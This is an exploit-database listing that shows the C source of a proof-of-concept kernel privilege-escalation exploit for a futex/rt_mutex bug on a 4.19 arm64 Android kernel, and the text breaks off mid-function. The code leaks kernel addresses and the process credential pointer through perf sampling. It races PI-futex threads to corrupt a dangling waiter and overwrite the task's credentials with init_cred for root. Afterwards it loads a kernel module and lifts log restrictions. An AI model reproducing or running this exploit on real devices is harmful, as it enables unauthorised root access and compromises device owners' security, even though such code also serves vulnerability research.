Exploit database

GH-7d1759469adaacd6cb6ef41c6fb3d109

repobor/ghostlock-cve-2026-43499-4.19-thyme

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

165 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files12

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/gl12.c

C · 73,696 bytes
/*
 * gl12.c - GhostLock (CVE-2026-43499) on thyme / 4.19.157
 *          dangling rt_mutex_waiter -> rb_erase_cached() -> 8 byte kernel write
 *
 * Differences to gl10/gl11 (which produced no write at all):
 *
 *  1. stack writer: do_ip_setsockopt copies struct group_source_req (264 B)
 *     into sp+0x20 for optnames 43/44/46/47 (jump table at
 *     0xffffff800a29a8e2).  Measured with build/glp5.c + perf: the copy
 *     destination sits at stack depth 0x370 and covers [0x268,0x370], which
 *     contains the dangling rt_mutex_waiter at depth 0x2f8.  gl10/gl11 used
 *     optname 48, a branch that never copies to the stack, so the waiter was
 *     never reached.
 *
 *  2. trigger: futex_lock_pi() calls __rt_mutex_start_proxy_lock() which
 *     enforces RT_MUTEX_FULL_CHAINWALK, so H_B locking Bf (owned by W)
 *     starts rt_mutex_adjust_prio_chain(W, FULL, Bf, W->pi_blocked_on->lock,
 *     H_B's waiter, H_B).  The chain only requeues (i.e. calls
 *     rt_mutex_dequeue -> rb_erase_cached) when
 *         orig_waiter == task_top_pi_waiter(W)
 *     so W must have no other pi waiter when H_B arrives.  T2's wait on M2 is
 *     the only one, hence T2 uses a timed FUTEX_LOCK_PI and main waits for it
 *     to time out before triggering.  As a second belt main also raises H_B's
 *     scheduling priority (setpriority -10, allowed: RLIMIT_NICE 40) so H_B's
 *     waiter sorts leftmost anyway.
 *
 *  3. tb121 fake rt_mutex: waiter->lock = init_task.pi_waiters (all zero:
 *     wait_lock unlocked, waiters empty, owner NULL) so the chain runs with
 *     owner==NULL, does the erase and returns through the "no owner" path.
 *
 * rb_erase_cached on a node with rb_left==0 and rb_right!=0 executes
 *     __rb_change_child(node, child, parent=pc&~3, root)
 *     child->__rb_parent_color = pc          <-- *(target) = pc
 * so one pass sets  *(main_task->cred) = &init_cred.
 */
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/perf_event.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

/* ---- image offsets (kallsyms minus _text) ---- */
#define KIMAGE_TEXT_BASE  0xffffff8008080000ULL
#define OFF_INIT_TASK     0x2f9bf40ULL
#define OFF_INIT_CRED     0x2fabba8ULL
#define OFF_PERF_PARANOID 0x2f8e234ULL
#define OFF_SELINUX_STATE 0x3d02000ULL
#define OFF_RND_VA_SPACE  0x2f8e348ULL
#define OFF_INIT_STACK    0x2f80000ULL   /* init_thread_union, 16 KiB zeroed stack */
#define OFF_SCHED_SETSCHED 0x82de0ULL
#define OFF_KALLSYMS_LOOKUP_NAME 0x123fe8ULL   /* not exported; passed to the module as kln= */
#define LEN_SCHED_SETSCHED 0xa9cULL

/* ---- struct offsets (thyme 4.19.157, from disassembly) ---- */
#define TASK_PRIO        0x6c
#define TASK_CRED        0x7e8
#define TASK_PI_WAITERS  0x8c0        /* rb_root.rb_node */

/* ---- stack geometry (measured, see build/glp5.c) ----
 * syscall entry: pt_regs 0x110 + el0_svc_handler 0x10 + el0_svc_common 0x40
 * __arm64_sys_futex 0x70 -> do_futex entry 0x1d0, x29 at 0x230, sp 0x3f0
 * rt_waiter = x29 - 0xc8                       -> depth 0x2f8
 * __arm64_sys_setsockopt .. do_ip_setsockopt sp 0x390, copy dst sp+0x20
 *                                              -> depth 0x370
 */
#define WAITER_DEPTH 0x2f8
#define STAMP_DEPTH  0x370
#define STAMP_OFF(f) (STAMP_DEPTH - WAITER_DEPTH + (f))

#define W_PC     0x00                 /* tree_entry.__rb_parent_color */
#define W_RIGHT  0x08                 /* tree_entry.rb_right          */
#define W_LEFT   0x10                 /* tree_entry.rb_left           */
#define W_TASK   0x30
#define W_LOCK   0x38
#define W_PRIO   0x40
#define W_DLINE  0x48

#define MCAST_BLOCK_SOURCE 43
#define T2_TIMEOUT_MS      1500
#define CL_TIMEOUT_MS      200

static uint64_t g_text, g_cur;
static uint64_t g_pc, g_right, g_lock, g_task;
static uint64_t g_fake_lock, g_zero_val, g_zero_tgt, g_my_cred;
static int g_probe;
static const char *g_ko_path;        /* modes 51/52: module image to stage */
static const char *g_sukisu_script;  /* mode 52: uid 0 setup script to run after the load */
static const char *g_apk_path;       /* mode 52: optional manager APK, installed as uid 0 */
static void *g_ko_buf;               /* modes 51/52: staged image, read before escalation */
static size_t g_ko_len;

/* K plus the cl_* slots are the per-stage dangling-pi_blocked_on cleanup
 * channel (see stage_cleanup).  They live in the stage's own fset so a W left
 * spinning in an earlier stage can never answer a later stage's request. */
struct fset { int L, L2, M1, M2, Bf, K; volatile int cl_req, cl_done, cl_ret; };
static struct fset *g_fs;
static int g_sock;

static volatile int g_h_locked, g_h_unlock;
static volatile int g_t1_go, g_t1_owns_l, g_t1_blocked_m1;
static volatile int g_t2_go, g_t2_owns_m1, g_t2_done, g_t2_ret;
static volatile int g_w_owns_bf, g_w_owns_m2, g_w_queued, g_w_returned, g_w_ret;
static volatile int g_stamp_go, g_w_stamped, g_stamp_ret;
static volatile int g_hb_go, g_hb_started, g_hb_ret, g_hb_done;
static volatile int g_tid_w, g_tid_hb, g_tid_t1, g_tid_t2, g_t1_ret, g_t1_done;

static int tid_of(void) { return (int)syscall(SYS_gettid); }

static char state_of(int tid)
{
    char path[64], buf[512], *p;
    FILE *f;
    snprintf(path, sizeof(path), "/proc/self/task/%d/stat", tid);
    f = fopen(path, "r");
    if (!f) return '?';
    if (!fgets(buf, sizeof(buf), f)) { fclose(f); return '?'; }
    fclose(f);
    p = strrchr(buf, ')');
    if (!p) return '?';
    while (*p == ')' || *p == ' ') p++;
    return *p;
}

static void mark(const char *s)
{
    int fd = open("/data/local/tmp/gl12.log", O_WRONLY | O_CREAT | O_APPEND, 0644);
    if (fd < 0) return;
    write(fd, s, strlen(s));
    write(fd, "\n", 1);
    fsync(fd);
    close(fd);
}

/* ---- modes 51/52: load a module in this process ---------------------- */

/* Stage the image before the exploit writes: it has to be resident when
 * init_module() runs, and after the escalation nothing should depend on
 * reading a file successfully again. */
static int read_file_all(const char *path, void **out, size_t *outlen)
{
    int fd = open(path, O_RDONLY);
    struct stat st;
    void *buf;
    ssize_t n;
    size_t off = 0;

    if (fd < 0) return -1;
    if (fstat(fd, &st) != 0 || st.st_size <= 0) { close(fd); return -1; }
    buf = malloc((size_t)st.st_size);
    if (!buf) { close(fd); return -1; }
    while (off < (size_t)st.st_size) {
        n = read(fd, (char *)buf + off, (size_t)st.st_size - off);
        if (n <= 0) { free(buf); close(fd); return -1; }
        off += (size_t)n;
    }
    close(fd);
    *out = buf;
    *outlen = (size_t)st.st_size;
    return 0;
}

/* A module that wedges the kernel reboots before anything can be read back, so
 * the only surviving evidence is ramoops.  /sys/fs/pstore is dr-xr-x--- log and
 * its files are root-only, which uid 0 without a capability cannot open; after
 * r2 we hold init_cred, so there is CAP_DAC_OVERRIDE and this can run before
 * init_module().  fsync the copies so the next mount replays them. */
static void dump_pstore(const char *outdir)
{
    DIR *d = opendir("/sys/fs/pstore");
    struct dirent *de;
    int n = 0;

    if (!d) { mark("pstore-none"); return; }
    mkdir(outdir, 0777);
    while ((de = readdir(d)) != NULL) {
        char path[128], out[128], buf[8192], b[160];
        size_t total = 0;
        ssize_t r;
        int fd, ofd;

        if (de->d_name[0] == '.') continue;
        snprintf(path, sizeof(path), "/sys/fs/pstore/%s", de->d_name);
        snprintf(out, sizeof(out), "%s/%s", outdir, de->d_name);
        fd = open(path, O_RDONLY);
        if (fd < 0) {
            snprintf(b, sizeof(b), "pstore-open-ep: %s (%s)", de->d_name, strerror(errno));
            mark(b);
            continue;
        }
        ofd = open(out, O_WRONLY | O_CREAT | O_TRUNC, 0666);
        if (ofd < 0) { close(fd); continue; }
        while ((r = read(fd, buf, sizeof(buf))) > 0) {
            if (write(ofd, buf, (size_t)r) != r) break;
            total += (size_t)r;
        }
        fsync(ofd);
        close(ofd);
        close(fd);
        n++;
        snprintf(b, sizeof(b), "pstore: %s %zu bytes", de->d_name, total);
        mark(b);
    }
    closedir(d);
    {
        char b[64];
        snprintf(b, sizeof(b), "pstore-done files=%d", n);
        mark(b);
    }
}

/* Two legs under one credential: dmesg_restrict (root:root 0644) is writable by
 * uid 0 here - we hold init_cred - and the ring buffer needs no capability once
 * the sysctl is 0.  syslog(2) is not hooked by the module, so this still works
 * when its syscall hooks have wedged execve/stat. */
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
#ifndef __NR_syslog
#define __NR_syslog 116
#endif

static void dmesg_unrestrict(void)
{
    int fd = open("/proc/sys/kernel/dmesg_restrict", O_WRONLY);

    if (fd < 0) { mark("dmesg-unrestrict-open-ep"); return; }
    if (write(fd, "0", 1) == 1) mark("dmesg-unrestrict-ok");
    else mark("dmesg-unrestrict-write-ep");
    close(fd);
}

/* Dump the ring buffer to `path` (fsynced) and echo the module/SELinux lines to
 * stdout, which lands in gl12.out.  Called right after init_module() returns:
 * every init message, every avc denial and every failed patch is in the window. */
static void klog_save(const char *path, const char *tag)
{
    static char *buf;
    static size_t cap;
    char b[192];
    long n;

    if (!buf) {
        long sz = syscall(__NR_syslog, SYSLOG_ACTION_SIZE_BUFFER, NULL, 0);
        if (sz < 0 || sz > (8 << 20)) sz = (1 << 20);
        cap = (size_t)sz + (64 << 10);
        buf = malloc(cap);
        if (!buf) { mark("klog-nomem"); return; }
    }
    n = syscall(__NR_syslog, SYSLOG_ACTION_READ_ALL, buf, (long)cap - 1);
    if (n <= 0) {
        snprintf(b, sizeof(b), "klog-%s-read-ep eno=%d", tag, errno);
        mark(b);
        return;
    }
    buf[n] = '\0';
    {
        int ofd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0666);
        if (ofd < 0) {
            mark("klog-save-open-ep");
        } else {
            ssize_t w = write(ofd, buf, (size_t)n);
            fsync(ofd);
            close(ofd);
            snprintf(b, sizeof(b), "klog-%s %ld bytes (wrote %zd)", tag, n, w);
            mark(b);
        }
    }
    {
        /* strtok destroys buf, so this runs after the file is on disk */
        char *p = strtok(buf, "\n");
        int hits = 0;

        printf("=== klog %s (filtered) ===\n", tag);
        for (; p; p = strtok(NULL, "\n")) {
            if (!strstr(p, "KernelSU") && !strstr(p, "ksu") && !strstr(p, "syscall") &&
                !strstr(p, "avc:") && !strstr(p, "selinux") && !strstr(p, "SELinux") &&
                !strstr(p, "WARNING:") && !strstr(p, "BUG:") &&
                !strstr(p, "Unable to handle") && !strstr(p, "Call trace"))
                continue;
            printf("%s\n", p);
            if (++hits >= 400) { printf("... (truncated)\n"); break; }
        }
        printf("=== klog %s end hits=%d ===\n", tag, hits);
        fflush(stdout);
    }
}

static void ms(int n)
{
    struct timespec ts;
    ts.tv_sec = n / 1000;
    ts.tv_nsec = (long)(n % 1000) * 1000000L;
    nanosleep(&ts, NULL);
}

static void waitv(volatile int *p) { while (!*p) sched_yield(); }

static int waitms(volatile int *p, int lim)
{
    for (int i = 0; i < lim; i++) { if (*p) return 1; ms(1); }
    return *p ? 1 : 0;
}

static int fut(int *u, int op, int val, void *to, int *u2, int v3)
{
    long r;
    errno = 0;
    r = syscall(SYS_futex, u, op, val, to, u2, v3);
    return (r < 0) ? -errno : (int)r;
}

static int lock_pi(int *u)
{
    return fut(u, FUTEX_LOCK_PI | FUTEX_PRIVATE_FLAG, 0, NULL, NULL, 0);
}

static int lock_pi_to(int *u, long ms_to)
{
    struct timespec ts;
    /* FUTEX_LOCK_PI takes an *absolute CLOCK_REALTIME* deadline (do_futex only
     * converts relative time for FUTEX_WAIT), so build it from CLOCK_REALTIME. */
    clock_gettime(CLOCK_REALTIME, &ts);
    ts.tv_sec += ms_to / 1000;
    ts.tv_nsec += (ms_to % 1000) * 1000000L;
    if (ts.tv_nsec >= 1000000000L) { ts.tv_sec++; ts.tv_nsec -= 1000000000L; }
    return fut(u, FUTEX_LOCK_PI | FUTEX_PRIVATE_FLAG, 0, &ts, NULL, 0);
}

static int unlock_pi(int *u)
{
    return fut(u, FUTEX_UNLOCK_PI | FUTEX_PRIVATE_FLAG, 0, NULL, NULL, 0);
}

static int cmp_requeue_pi(int *u, int *u2)
{
    return fut(u, FUTEX_CMP_REQUEUE_PI | FUTEX_PRIVATE_FLAG, 1,
               (void *)(uintptr_t)1, u2, 0);
}

/* ------- dropping the dangling pi_blocked_on (per stage) ------------------
 *
 * The requeue dance leaves W->pi_blocked_on pointing at W's own stack frame
 * after W returned: rt_mutex_adjust_prio_chain() dequeues the waiter but does
 * not clear task->pi_blocked_on, and the other two clear sites are the ones
 * this state never reaches - try_to_take_rt_mutex() (only when the task takes
 * a lock) and remove_waiter() (the give-up path).  That stale pointer is what
 * made a second exploit run in the same boot unsafe: it points into a vmap
 * stack that is unmapped once the stage's threads die, and any later chain
 * walk over it follows it as waiter->lock.
 *
 * remove_waiter() runs on every give-up exit of a PI futex wait, which
 * futex_lock_pi reaches on timeout.  So the W thread itself drops the stale
 * pointer by blocking on a PI futex main owns and timing out.
 * pi_blocked_on is per task, which is why W and not main must run the wait. */

/* W side: block on this stage's K word until the timeout fires. */
static void dangle_drop(struct fset *fs)
{
    int req = fs->cl_req;

    fs->cl_ret = lock_pi_to(&fs->K, CL_TIMEOUT_MS);
    __sync_synchronize();
    fs->cl_done = req;
    __sync_synchronize();
}

/* main side: take K, ask the stage's W for the timeout, wait for the ack.
 * Returns 0 only when W reported -ETIMEDOUT, i.e. the remove_waiter() exit. */
static int stage_cleanup(struct fset *fs)
{
    int req, i, r;
    char b[48];

    /* before W returned from the requeue wait there is no stale pointer, and
     * a W still parked inside the wait cleans up in the kernel on its own */
    if (!g_w_returned) return 0;
    r = lock_pi(&fs->K);
    if (r) { mark("cal-hold-ep"); return 1; }
    req = fs->cl_done + 1;
    __sync_synchronize();
    fs->cl_req = req;
    __sync_synchronize();
    for (i = 0; i < 3000 && fs->cl_done != req; i++) ms(1);
    unlock_pi(&fs->K);
    if (fs->cl_done != req) { mark("cal-noack"); return 2; }
    snprintf(b, sizeof(b), "cal-ret=%d", fs->cl_ret);
    mark(b);
    return (fs->cl_ret == -ETIMEDOUT) ? 0 : 3;
}

/* ---------------- perf: KASLR slide + current ------------------------ */

struct prec { uint64_t ip, sp, x8, x19, x20, x25; };

static int perf_open(int pid)
{
    struct perf_event_attr pe;
    memset(&pe, 0, sizeof(pe));
    pe.type = PERF_TYPE_SOFTWARE;
    pe.size = sizeof(pe);
    pe.config = PERF_COUNT_SW_CPU_CLOCK;
    pe.sample_period = 300;
    pe.sample_type = PERF_SAMPLE_IP | PERF_SAMPLE_REGS_INTR;
    pe.sample_regs_intr = (1ULL << 33) - 1;
    pe.wakeup_events = 64;
    pe.exclude_user = 1;
    pe.exclude_hv = 1;
    pe.disabled = 1;
    return (int)syscall(__NR_perf_event_open, &pe, pid, -1, -1, 0);
}

/* One sample per context switch of this thread: the recorded IP is inside
 * __schedule, where current lives in x25 (mrs sp_el0) / x20 (rq->curr). */
static int perf_open_cs(int pid)
{
    struct perf_event_attr pe;
    memset(&pe, 0, sizeof(pe));
    pe.type = PERF_TYPE_SOFTWARE;
    pe.size = sizeof(pe);
    pe.config = PERF_COUNT_SW_CONTEXT_SWITCHES;
    pe.sample_period = 1;
    pe.sample_type = PERF_SAMPLE_IP | PERF_SAMPLE_REGS_INTR;
    pe.sample_regs_intr = (1ULL << 33) - 1;
    pe.wakeup_events = 8;
    pe.exclude_user = 1;
    pe.exclude_hv = 1;
    pe.disabled = 1;
    return (int)syscall(__NR_perf_event_open, &pe, pid, -1, -1, 0);
}

/* record samples of `it` iterations of sched_yield() with the cs event */
static int collect_cs(struct prec *out, int max, long it)
{
    int fd = perf_open_cs(0);
    size_t data_sz = 1 << 20;
    void *base;
    int n = 0;

    if (fd < 0) { printf("[!] perf cs open errno=%d\n", errno); return 0; }
    base = mmap(NULL, data_sz + 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (base == MAP_FAILED) { printf("[!] perf cs mmap errno=%d\n", errno); close(fd); return 0; }
    ioctl(fd, PERF_EVENT_IOC_RESET, 0);
    ioctl(fd, PERF_EVENT_IOC_ENABLE, 0);
    for (long i = 0; i < it; i++) syscall(SYS_sched_yield);
    ioctl(fd, PERF_EVENT_IOC_DISABLE, 0);
    {
        struct perf_event_mmap_page *meta = base;
        unsigned char *data = (unsigned char *)base + 4096;
        uint64_t head = meta->data_head, tail = meta->data_tail;
        __sync_synchronize();
        while (tail < head && n < max) {
            struct perf_event_header hdr;
            size_t off = tail % data_sz;
            memcpy(&hdr, data + off, sizeof(hdr));
            if (hdr.size < sizeof(hdr) || tail + hdr.size > head) break;
            if (hdr.type == PERF_RECORD_SAMPLE) {
                unsigned char *p = data + off + sizeof(hdr);
                uint64_t regs[33];
                memcpy(&out[n].ip, p, 8);
                p += 16;
                memcpy(regs, p, sizeof(regs));
                out[n].sp = regs[31];
                out[n].x8 = regs[8];
                out[n].x19 = regs[19];
                out[n].x20 = regs[20];
                out[n].x25 = regs[25];
                n++;
            }
            tail += hdr.size;
        }
        meta->data_tail = tail;
    }
    munmap(base, data_sz + 4096);
    close(fd);
    return n;
}

static int collect(struct prec *out, int max, int mode)
{
    int fd = perf_open(0);
    size_t data_sz = 4096 * 1024;
    void *base;
    uint64_t head, tail;
    int n = 0;

    if (fd < 0) { printf("[!] perf_event_open errno=%d\n", errno); return 0; }
    base = mmap(NULL, data_sz + 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (base == MAP_FAILED) { printf("[!] perf mmap errno=%d\n", errno); close(fd); return 0; }
    ioctl(fd, PERF_EVENT_IOC_RESET, 0);
    ioctl(fd, PERF_EVENT_IOC_ENABLE, 0);

    if (mode == 0) {
        for (long i = 0; i < 400000L; i++) syscall(SYS_getppid);
    } else if (mode == 4) {
        /* every iteration walks cred: a sample right after
         * `ldr x8, [x8, #0x7e8]` leaves the cred pointer in x8 */
        for (long i = 0; i < 400000L; i++) syscall(SYS_getuid);
    } else if (mode == 2) {
        /* short sleeps: every iteration parks this thread in __schedule, so
         * samples land inside it instead of in the syscall prologue */
        struct timespec ts;
        ts.tv_sec = 0;
        ts.tv_nsec = 1000;
        for (long i = 0; i < 20000L; i++) syscall(SYS_nanosleep, &ts, NULL);
    } else {
        struct sched_param sp;
        memset(&sp, 0, sizeof(sp));
        for (long i = 0; i < 60000L; i++)
            sched_setscheduler(0, (i & 1) ? SCHED_BATCH : SCHED_NORMAL, &sp);
    }

    ioctl(fd, PERF_EVENT_IOC_DISABLE, 0);
    {
        struct perf_event_mmap_page *meta = base;
        unsigned char *data = (unsigned char *)base + 4096;
        head = meta->data_head;
        __sync_synchronize();
        tail = meta->data_tail;
        while (tail < head && n < max) {
            struct perf_event_header hdr;
            size_t off = tail % data_sz;
            memcpy(&hdr, data + off, sizeof(hdr));
            if (hdr.size < sizeof(hdr) || tail + hdr.size > head) break;
            if (hdr.type == PERF_RECORD_SAMPLE) {
                unsigned char *p = data + off + sizeof(hdr);
                uint64_t regs[33];
                memcpy(&out[n].ip, p, 8);
                p += 16;
                memcpy(regs, p, sizeof(regs));
                out[n].sp = regs[31];
                out[n].x8 = regs[8];
                out[n].x19 = regs[19];
                out[n].x20 = regs[20];
                out[n].x25 = regs[25];
                n++;
            }
            tail += hdr.size;
        }
        meta->data_tail = tail;
    }
    munmap(base, data_sz + 4096);
    close(fd);
    return n;
}

static int leak_slide(void)
{
    /* hot instructions of the syscall entry path (measured with build/glp.c) */
    static const uint64_t hot[] = { 0x1a9c8ULL, 0x1a980ULL, 0x1a904ULL,
                                    0x9a958ULL, 0x44c0ULL, 0x9a980ULL };
    enum { N = 60000 };
    struct prec *rs = calloc(N, sizeof(*rs));
    uint64_t cand[256];
    int cnt[256];
    int nc = 0, best = 0, i, k, h;
    uint64_t bs = 0;
    int nhot = (int)(sizeof(hot) / sizeof(hot[0]));
    int n = collect(rs, N, 0);

    if (n < 50) { free(rs); printf("[!] too few samples (%d)\n", n); return 0; }
    for (i = 0; i < n; i++) {
        for (h = 0; h < nhot; h++) {
            uint64_t c = (rs[i].ip - KIMAGE_TEXT_BASE - hot[h]) & ~0x1fffffULL;
            for (k = 0; k < nc; k++) if (cand[k] == c) break;
            if (k == nc) { if (nc >= 256) continue; cand[nc] = c; cnt[nc] = 0; nc++; }
            cnt[k]++;
            if (cnt[k] > best) { best = cnt[k]; bs = c; }
        }
    }
    free(rs);
    if (best < 8) { printf("[!] slide undetermined (best=%d of %d)\n", best, n); return 0; }
    g_text = KIMAGE_TEXT_BASE + bs;
    printf("[+] kaslr slide=0x%llx text=0x%llx score=%d/%d\n",
           (unsigned long long)bs, (unsigned long long)g_text, best, n);
    return 1;
}

static int leak_current(void)
{
    enum { N = 80000 };
    struct prec *rs = calloc(N, sizeof(*rs));
    uint64_t vals[64];
    int cnt[64];
    int nv = 0, i, k, n, best = 0, in_func = 0;
    uint64_t bv = 0;
    uint64_t lo = g_text + OFF_SCHED_SETSCHED;
    uint64_t hi = lo + LEN_SCHED_SETSCHED;

    n = collect(rs, N, 1);
    for (i = 0; i < n; i++) {
        uint64_t v = rs[i].x19;
        if (rs[i].ip < lo || rs[i].ip >= hi) continue;
        in_func++;
        if ((v >> 40) != 0xffffffULL || (v & 7)) continue;
        for (k = 0; k < nv; k++) if (vals[k] == v) break;
        if (k == nv) { if (nv >= 64) continue; vals[nv] = v; cnt[nv] = 0; nv++; }
        cnt[k]++;
        if (cnt[k] > best) { best = cnt[k]; bv = vals[k]; }
    }
    free(rs);
    if (!bv || best < 3) {
        printf("[!] current leak failed (n=%d in_func=%d best=%d)\n", n, in_func, best);
        return 0;
    }
    g_cur = bv;
    printf("[+] current=0x%llx hits=%d/%d\n", (unsigned long long)g_cur, best, in_func);
    return 1;
}

/* __schedule keeps `current` in x25 (mrs x25, sp_el0) from its very first
 * instructions and then reloads it into x20 (rq->curr, rq+0x930), so a sample
 * taken there hands us current directly and lets us cross-check x25 == x20. */
#define OFF_SCHEDULE 0x14b6470ULL

static int leak_current_v2(void)
{
    enum { N = 150000 };
    struct prec *rs = calloc(N, sizeof(*rs));
    uint64_t vals[64];
    int cnt[64];
    int nv = 0, i, k, n, best = 0, in_func = 0, agree = 0;
    uint64_t bv = 0;
    uint64_t lo = g_text + OFF_SCHEDULE;
    uint64_t hi = lo + 0x300;

    n = collect(rs, N, 2);
    if (getenv("G12_HIST")) {
        /* top image-relative sample offsets: lets us pick a reliable anchor */
        uint64_t ips[64];
        int ic[64];
        int ni = 0;
        for (i = 0; i < n; i++) {
            uint64_t off = rs[i].ip - g_text;
            if (off > 0x4000000ULL) continue;
            for (k = 0; k < ni; k++) if (ips[k] == off) break;
            if (k == ni) { if (ni >= 64) continue; ips[ni] = off; ic[ni] = 0; ni++; }
            ic[k]++;
        }
        for (k = 0; k < ni; k++)
            for (i = k + 1; i < ni; i++)
                if (ic[i] > ic[k]) {
                    uint64_t t = ips[k]; int c = ic[k];
                    ips[k] = ips[i]; ic[k] = ic[i]; ips[i] = t; ic[i] = c;
                }
        printf("[hist] n=%d top image offsets:\n", n);
        for (k = 0; k < ni && k < 24; k++)
            printf("   0x%08llx x%d\n", (unsigned long long)ips[k], ic[k]);
    }
    for (i = 0; i < n; i++) {
        uint64_t v;
        if (rs[i].ip < lo || rs[i].ip >= hi) continue;
        in_func++;
        v = rs[i].x25;
        if (rs[i].x20 == v && rs[i].ip >= lo + 0x64) agree++;
        if ((v >> 40) != 0xffffffULL || (v & 7)) continue;
        for (k = 0; k < nv; k++) if (vals[k] == v) break;
        if (k == nv) { if (nv >= 64) continue; vals[nv] = v; cnt[nv] = 0; nv++; }
        cnt[k]++;
        if (cnt[k] > best) { best = cnt[k]; bv = vals[k]; }
    }
    free(rs);
    if (!bv || best < 3) {
        printf("[!] current v2 failed (n=%d in_func=%d best=%d)\n", n, in_func, best);
        return 0;
    }
    printf("[+] current=0x%llx (__schedule x25, hits=%d/%d, x25==x20 %d)\n",
           (unsigned long long)bv, best, in_func, agree);
    g_cur = bv;
    return 1;
}

static int leak_current_v3(void)
{
    enum { N = 8192 };
    struct prec *rs = calloc(N, sizeof(*rs));
    uint64_t vals[64];
    int cnt[64];
    int nv = 0, i, k, n, best = 0, in_func = 0, agree = 0;
    uint64_t bv = 0;
    uint64_t lo = g_text + OFF_SCHEDULE;
    uint64_t hi = lo + 0x600;

    n = collect_cs(rs, N, 4000);
    if (getenv("G12_HIST")) {
        printf("[cs] n=%d\n", n);
        for (i = 0; i < n && i < 12; i++)
            printf("   ip=+0x%llx x19=0x%llx x20=0x%llx x25=0x%llx\n",
                   (unsigned long long)(rs[i].ip - g_text),
                   (unsigned long long)rs[i].x19, (unsigned long long)rs[i].x20,
                   (unsigned long long)rs[i].x25);
    }
    for (i = 0; i < n; i++) {
        uint64_t v;
        if (rs[i].ip < lo || rs[i].ip >= hi) continue;
        in_func++;
        v = rs[i].x25;
        if (rs[i].x20 == v) agree++;
        if ((v >> 40) != 0xffffffULL || (v & 7)) continue;
        for (k = 0; k < nv; k++) if (vals[k] == v) break;
        if (k == nv) { if (nv >= 64) continue; vals[nv] = v; cnt[nv] = 0; nv++; }
        cnt[k]++;
        if (cnt[k] > best) { best = cnt[k]; bv = vals[k]; }
    }
    free(rs);
    if (!bv || best < 5) {
        printf("[!] current v3 failed (n=%d in_func=%d best=%d)\n", n, in_func, best);
        return 0;
    }
    printf("[+] current=0x%llx (cs x25, hits=%d/%d, x25==x20 %d)\n",
           (unsigned long long)bv, best, in_func, agree);
    g_cur = bv;
    return 1;
}

/* __arm64_sys_getuid loads current->cred into x8 (mrs sp_el0 / ldr x8,[x8,#0x7e8]);
 * a sample on the two instructions that follow still carries that pointer in x8. */
static uint64_t leak_cred(void)
{
    enum { N = 120000, NW = 6 };
    static const uint64_t win[NW] = { 0x5cb94ULL, 0x5cb98ULL, 0x5cbb4ULL,
                                      0x5cbb8ULL, 0x5cbd4ULL, 0x5cbd8ULL };
    struct prec *rs = calloc(N, sizeof(*rs));
    uint64_t vals[64];
    int cnt[64];
    int nv = 0, i, k, w, n, best = 0, hits = 0;
    uint64_t bv = 0;

    if (!rs) return 0;
    n = collect(rs, N, 4);
    for (i = 0; i < n; i++) {
        uint64_t off = rs[i].ip - g_text, v;
        int m = 0;
        for (w = 0; w < NW; w++) if (off == win[w]) m = 1;
        if (!m) continue;
        hits++;
        v = rs[i].x8;
        if ((v >> 40) != 0xffffffULL || (v & 7)) continue;
        for (k = 0; k < nv; k++) if (vals[k] == v) break;
        if (k == nv) { if (nv >= 64) continue; vals[nv] = v; cnt[nv] = 0; nv++; }
        cnt[k]++;
        if (cnt[k] > best) { best = cnt[k]; bv = vals[k]; }
    }
    free(rs);
    printf("[cred] n=%d hits=%d best=%d cred=0x%llx\n",
           n, hits, best, (unsigned long long)bv);
    return bv;
}

/* record samples of another thread (tid) for dur_ms while it does syscalls */
static int collect_tid(pid_t tid, struct prec *out, int max, int dur_ms)
{
    int fd = perf_open((int)tid);
    size_t data_sz = 1 << 20;
    void *base;
    int n = 0;

    if (fd < 0) { printf("[!] perf tid open errno=%d\n", errno); return 0; }
    base = mmap(NULL, data_sz + 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (base == MAP_FAILED) { printf("[!] perf tid mmap errno=%d\n", errno); close(fd); return 0; }
    ioctl(fd, PERF_EVENT_IOC_RESET, 0);
    ioctl(fd, PERF_EVENT_IOC_ENABLE, 0);
    ms(dur_ms);
    ioctl(fd, PERF_EVENT_IOC_DISABLE, 0);
    {
        struct perf_event_mmap_page *meta = base;
        unsigned char *data = (unsigned char *)base + 4096;
        uint64_t head = meta->data_head, tail = meta->data_tail;
        __sync_synchronize();
        while (tail < head && n < max) {
            struct perf_event_header hdr;
            size_t off = tail % data_sz;
            memcpy(&hdr, data + off, sizeof(hdr));
            if (hdr.size < sizeof(hdr) || tail + hdr.size > head) break;
            if (hdr.type == PERF_RECORD_SAMPLE) {
                unsigned char *p = data + off + sizeof(hdr);
                uint64_t regs[33];
                memcpy(&out[n].ip, p, 8);
                p += 16;
                memcpy(regs, p, sizeof(regs));
                out[n].sp = regs[31];
                out[n].x8 = regs[8];
                out[n].x19 = regs[19];
                out[n].x20 = regs[20];
                out[n].x25 = regs[25];
                n++;
            }
            tail += hdr.size;
        }
        meta->data_tail = tail;
    }
    munmap(base, data_sz + 4096);
    close(fd);
    return n;
}

/* ---------------- threads ------------------------------------------- */

static void *h_thr(void *a)
{
    (void)a;
    lock_pi(&g_fs->L);
    g_h_locked = 1;
    __sync_synchronize();
    waitv(&g_h_unlock);
    unlock_pi(&g_fs->L);
    return NULL;
}

static void *t1_thr(void *a)
{
    (void)a;
    g_tid_t1 = tid_of();
    waitv(&g_t1_go);
    lock_pi(&g_fs->L);           /* takes L after H unlocks */
    g_t1_owns_l = 1;
    __sync_synchronize();
    ms(20);
    g_t1_blocked_m1 = 1;
    printf("[T1] owns L=%d, now asking for M1=%d owner-pid=%d\n",
           g_fs->L, g_fs->M1, g_fs->M1 & 0x3fffffff);
    __sync_synchronize();
    g_t1_ret = lock_pi(&g_fs->M1);     /* blocks on T2 */
